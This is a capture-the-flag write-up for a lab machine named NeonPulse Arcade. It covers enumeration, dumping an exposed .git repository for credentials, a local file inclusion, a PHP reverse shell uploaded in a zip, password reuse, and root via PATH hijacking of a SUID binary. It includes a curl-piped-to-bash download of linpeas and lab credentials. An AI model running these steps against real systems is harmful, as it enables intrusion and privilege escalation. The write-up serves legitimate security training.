NeonPulse Arcade - Write up

Enumeration

Nmap scan

An nmap scan reveals port 22 and port 80 open. Port 80 appears to host an Apache server and redirects us to the neonpulse.local domain name.

```
» nmap -sC -sV -An -T4 -vvv 192.168.160.136
Starting Nmap 7.80 (https://nmap.org) at 2025-05-24 16:58 CEST
Not shown: 998 closed ports
Reason: 998 conn-refused
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu
Linux; protocol 2.0)
80/tcp open http syn-ack Apache httpd 2.4.58
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS
| http-server-header: Apache/2.4.58 (Ubuntu)
| http-title: Did not follow redirect to http://neonpulse.local/
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds
```

/etc/hosts We add the domain name neonpulse.local to our /etc/hosts to be able to access the website.

```
echo '192.168.160.136 neonpulse.local' >> /etc/hosts
```

NeonPulse Arcade - Website

.git exposed - dirsearch/gobuster

Using dirsearch, we discover an interesting .git folder that could be used to retrieve information.

```
» dirsearch -u neonpulse.local
```

```
- - | - v0.4.2
 ( | | | ) (/ ( | | ( | )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 |
Wordlist size: 10927
Output File: /home/leopold/.dirsearch/reports/neonpulse.local 25-05-24 17-
01-24.txt
Error Log: /home/leopold/.dirsearch/logs/errors-25-05-24 17-01-24.log
Target: http://neonpulse.local/
[17:01:24] Starting:
[17:01:24] 301 - 317B - /.git -> http://neonpulse.local/.git/
[17:01:24] 200 - 763B - /.git/branches/
[17:01:24] 200 - 152B - /.git/config
[17:01:24] 200 - 51B - /.git/COMMIT EDITMSG
[17:01:24] 200 - 73B - /.git/description
[17:01:24] 200 - 23B - /.git/HEAD
[17:01:24] 200 - 3KB - /.git/
[17:01:24] 200 - 4KB - /.git/hooks/
[17:01:24] 200 - 240B - /.git/info/exclude
[17:01:24] 200 - 950B - /.git/info/
[17:01:24] 200 - 1KB - /.git/logs/
[17:01:24] 200 - 1KB - /.git/index
[17:01:24] 301 - 333B - /.git/logs/refs/heads ->
http://neonpulse.local/.git/logs/refs/heads/
[17:01:24] 301 - 327B - /.git/logs/refs ->
http://neonpulse.local/.git/logs/refs/
[17:01:24] 200 - 2KB - /.git/logs/refs/heads/master
[17:01:24] 200 -
                  2KB - /.git/logs/HEAD
[17:01:24] 200 - 41B - /.git/refs/heads/master
[17:01:24] 200 - 1KB - /.qit/refs/
[17:01:24] 301 - 327B - /.git/refs/tags ->
http://neonpulse.local/.git/refs/tags/
[17:01:24] 200 - 9KB - /.git/objects/
[17:01:25] 403 - 280B - /.ht wsr.txt
[17:01:25] 301 - 328B - /.git/refs/heads ->
http://neonpulse.local/.git/refs/heads/
```

git-dumper - dump git repo

We use the git-dumper tool to easily dumper the entire .git folder and analyze the git repo.

```
» git-dumper http://neonpulse.local .
[-] Testing http://neonpulse.local/.git/HEAD [200]
[-] Testing http://neonpulse.local/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://neonpulse.local/.git/ [200]
```

```
[-] Fetching http://neonpulse.local/.gitignore [404]
[-] http://neonpulse.local/.gitignore responded with status code 404
[-] Fetching http://neonpulse.local/.git/index [200]
[-] Fetching http://neonpulse.local/.git/description [200]
[-] Fetching http://neonpulse.local/.git/HEAD [200]
[-] Fetching http://neonpulse.local/.git/branches/ [200]
[-] Fetching http://neonpulse.local/.git/config [200]
[-] Fetching http://neonpulse.local/.git/COMMIT EDITMSG [200]
[-] Fetching http://neonpulse.local/.git/info/ [200]
[-] Fetching http://neonpulse.local/.git/hooks/ [200]
[-] Fetching http://neonpulse.local/.git/refs/ [200]
[-] Fetching http://neonpulse.local/.git/info/exclude [200]
[-] Fetching http://neonpulse.local/.git/refs/heads/ [200]
[-] Fetching http://neonpulse.local/.git/refs/tags/ [200]
[-] Fetching http://neonpulse.local/.git/objects/ [200]
[-] Fetching http://neonpulse.local/.git/refs/heads/master [200]
[-] Fetching http://neonpulse.local/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://neonpulse.local/.git/hooks/post-update.sample [200]
[-] Fetching http://neonpulse.local/.git/hooks/fsmonitor-watchman.sample
[200]
[-] Fetching http://neonpulse.local/.git/hooks/pre-commit.sample [200]
[-] Fetching http://neonpulse.local/.git/hooks/commit-msg.sample [200]
[-] Fetching http://neonpulse.local/.git/logs/ [200]
[-] Fetching http://neonpulse.local/.git/logs/HEAD [200]
[-] Fetching http://neonpulse.local/.git/logs/refs/ [200]
[-] Fetching http://neonpulse.local/.git/logs/refs/heads/ [200]
[-] Fetching http://neonpulse.local/.git/logs/refs/heads/master [200]
[-] Running git checkout .
13 chemins mis à jour depuis l'index
```

db connect.php file exposed

We found a db_connect.php file in the commits which seems to be an old file for connecting to a given database.

```
» git log --numstat
...
...
commit 7f4f3540f3dbd16d478a712b9192b63217b507a7
Author: Synth Kid <synth.kid@neonpulse.local>
Date: Thu Jan 23 17:49:54 2025 +0000

Remove db_connect.php - switching to file-based storage, no database required

0    19    db_connect.php # <<<<<>>>></>><</pre>
commit 5ef512f9e21a29c02e49f32f4e0f97fcceae7360
```

arcadmin credentials - (restoring db_connect.php file)

We found the following credentials in the db file: USER -> arcadmin PASS -> R3tr0W4v3_M4st3r!


```
» git checkout 5ef512f9e21a29c02e49f32f4e0f97fcceae7360
Note: basculement sur '5ef512f9e21a29c02e49f32f4e0f97fcceae7360'.
. . .
HEAD est maintenant sur 5ef512f Add db connect.php file for future database
integration
» cat db connect.php
<?php
// MySQL connection details
$DB HOST = 'localhost';
$DB USER = 'arcadmin';
$DB PASS = 'R3tr0W4v3 M4st3r!';
$DB_NAME = 'arcade_db';
// Connect to the database
$conn = new mysqli($DB HOST, $DB USER, $DB PASS, $DB NAME);
// Check the database connection
if ($conn->connect error) {
    die("Database connection error: " . $conn->connect_error);
}
// Set the character encoding
$conn->set charset("utf8mb4");
?>
```

LFI (highscore.php)

A quick look at the highscore.php page reveals an injectable game parameter for displaying game scores :

It seems that you can display any file on the server, including /etc/passwd for example:

http://neonpulse.local/highscore.php?game=/etc/passwd



Discovering dev-upload-game sub-domain

Using the LFI, we can observe the /etc/hosts file, which reveals the presence of a subdomain:

127.0.0.1 dev-upload-game.neonpulse.local

/ETC/HOSTS - HALL OF FAME

127.0.0.1 localhost 127.0.1.1 neonpulse 127.0.0.1 neonpulse.local 127.0.0.1 dev-upload-game.neonpulse.local # The following lines are desirable for IPv6 capable hosts ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters

/etc/hosts

We modify /etc/hosts to add the subdomain

192.168.160.136 neonpulse.local dev-upload-game.neonpulse.local

NeonPulse Arcade subdomain | dev-upload-game


Login Page

We discover a login page to which we can connect with the credentials found in the git repo:

USER -> arcadmin PASS -> R3tr0W4v3_M4st3r!

Game Upload Page (zip auto extraction)

You'll discover a page where you can upload a game in the form of a zip archive. If you try to upload a zip/tar, a message appears telling you that it has been extracted. It seems that the zip/tar is stored but also decompressed.



/uploads endpoint - www-data shell

Quickly we find the /uploads endpoint containing all the zip/tar files, but also the files contained in the archives that have been decompressed!

I have created shell.zip with a php reverse shell inside (shell.php):

```
» vim shell.php

» zip shell.zip shell.php
adding: shell.php (deflated 60%)
```

We can execute the reverse shell using the endpoint: http://dev-upload-game.neonpulse.local/uploads/shell.php

```
» nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 192.168.160.136 38596
Linux neonpulse 6.8.0-60-generic #63-Ubuntu SMP PREEMPT DYNAMIC Tue Apr 15
19:04:15 UTC 2025 x86 64 x86 64 x86 64 GNU/Linux
15:58:07 up 46 min, 0 user, load average: 0.00, 0.00, 0.00
USER TTY
                FROM
                                 LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@neonpulse:/$ export TERM=xterm
export TERM=xterm
www-data@neonpulse:/$ ^Z
[1] + 20451 suspended nc -lnvp 1337
» stty raw -echo; fg
[1] + 20451 continued nc -lnvp 1337
www-data@neonpulse:/$
```

www-data -> synthkid (priv esc)

Password Reuse - user flag

A check of /etc/passwd reveals a synthkid user. We discover that his password is the same as that of "arcadmin" on the website:

USER -> arcadmin PASS -> R3tr0W4v3 M4st3r!

```
www-data@neonpulse:/$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
synthkid:x:1000:1000:synthkid:/home/synthkid:/bin/bash
www-data@neonpulse:/$ su synthkid
Password:
synthkid@neonpulse:/$ whoami
synthkid
synthkid@neonpulse:/$ cd
synthkid@neonpulse:~$ ls
flag_user.txt
synthkid@neonpulse:~$ cat flag_user.txt
AMSI{N30N....10!T}
```

synthkid -> root (priv esc)

SSH

First, we generate an ssh key pair and place the public key in the authorized_keys file to obtain ssh access and a more stable shell.

```
synthkid@neonpulse:~$ cd .ssh/
synthkid@neonpulse:~/.ssh$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/synthkid/.ssh/id rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/synthkid/.ssh/id rsa
Your public key has been saved in /home/synthkid/.ssh/id rsa.pub
The key fingerprint is:
SHA256:Yzzd9yJXusCjojItHT/S+N8HMu3ZQLT42exvyI0DzVE synthkid@neonpulse
The key's randomart image is:
+---[RSA 3072]----+
            . E
       . . . . 0 .
        S .+.*...
      .. oo.B.=+ |
     0 = +=0++.|
    + = = 00=0001
     +.+.+0 ...+.|
+----[SHA256]----+
synthkid@neonpulse:~/.ssh$ cat id rsa.pub
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABqQCqxudUXvruJrUNU5WrXqx3UZQ2CdaWIt0ZqQmMsQHdnvM
7eBbt6e0QPmMxlUOXZNORq6caVjXBrbd76vAN11SFwVvqsJnXcuu6HKk4Tcnc6TVX1xFVjrzK9K
9p65XesOmYX3cAalT6zJ28JCPFYxjqqdTGqGREc5tDB/zmMNjNeeFopt01aEKaJbRnclrja+66Y
zjDtJM7ZYNntDWtbcII4CULDL9PEecC/visjC24sbF0YKmUXy/jxTsSbt4pDBZarmN0rq8/dAqX
PEIcqxum2e97HcyO16HXvW91Kk6bwTYnqM01hxlzXYV4FStfGXdLkoysvy5H/qDvoAdZPXQAYMT
kA9tCpnWBylSMchBl3+JYbQ09kls3LMomkF6VjUK0TV/1MRXhfTQpkyX4cdsa8m6jrMnJKBd9T1
fMYW5PYB6xGoSlGHwsapFdgjM37qjfjvprgjpNv5vdZyWmjUVwwUYT2HjuAEm6+LUVE/7+XwF1y
BPKL/VDr3+jWoIKBFk= synthkid@neonpulse
synthkid@neonpulse:~/.ssh$ vim authorized_keys
synthkid@neonpulse:~/.ssh$ cat id rsa
----BEGIN OPENSSH PRIVATE KEY----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAABAAABlwAAAAdzc2gtcn
. . .
cF/NIT3sH/FdUVmFzdjNRvBDV8b2YnpTlLuW9FFWFsyC6EXTN2sP13j5v6CPlNfsae7wbN
DfC+uJGXqG8PsdY6jjq2Sz9qZ9499vNsv1Ywziz71Bu+qYqoIMmPlsJ3y4HjGFdsKhqnoo
lGs9q+B0+0VfsAAAASc3ludGhraWRAbmVvbnB1bHNlAQ==
----END OPENSSH PRIVATE KEY----
```

linpeas.sh - Unknown SUID binary

Using lineas.sh, we notice a binary file "/opt/scripts/score_validator" which has the SUID bit set.

```
synthkid@neonpulse:~$ curl http://192.168.160.1:9977/linpeas.sh | bash >
linpeas.out 2> /dev/null
 % Total % Received % Xferd Average Speed Time Time
                                                             Time
Current
                              Dload Upload Total Spent
Speed
100 828k 100 828k 0
                              9943 0 0:01:25 0:01:25 --:--
9943
synthkid@neonpulse:~$ cat linpeas.out
                      Files with Interesting Permissions
         \dashv SUID - Check easy privesc, exploits and write perms
https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-
and-suid
# Unknown SUID binary
-rws--x-- 1 root synthkid 21K May 23 09:35 /opt/scripts/score validator
(Unknown SUID binary!)
-rwsr-xr-x 1 root root 72K May 30 2024 /usr/bin/chfn ---> SuSE 9.3/10
-rwsr-xr-x 1 root root 39K Apr 8 2024 /usr/bin/fusermount3
-rwsr-xr-x 1 root root 75K May 30 2024 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 55K Dec 5 02:26 /usr/bin/su
```


Exploit SUID: /opt/scripts/score_validator

We can see here that the SUID bit is set and that synthkid is authorized to run it as root. So we need to find a way to exploit this binary to become root

```
synthkid@neonpulse:~$ ls -l /opt/scripts/score_validator -rws--x--- 1 root synthkid 20936 May 23 09:35 /opt/scripts/score_validator
```

Creating fake "tar" binary

If we choose the "Backup Score Database" (option 3), the binary is calling tar to create an archive. We can create a fake tar binary to setup a root shell and change the PATH variable.



Here, we create a tar file in /home/synthkid with the command "/bin/bash". We change the PATH to put /home/synthkid at the beginning. Finally, we execute the binary with the SUID bit and attempt to create a backup, option 3. We then notice that our fake "tar" binary is executed and gives us a root shell.

```
synthkid@neonpulse:~$ vim tar
synthkid@neonpulse:~$ cat tar
#!/bin/bash
/bin/bash
synthkid@neonpulse:~$ chmod +x tar
synthkid@neonpulse:~$ export PATH=/home/synthkid:$PATH
synthkid@neonpulse:~$
synthkid@neonpulse:~$ /opt/scripts/score_validator
```

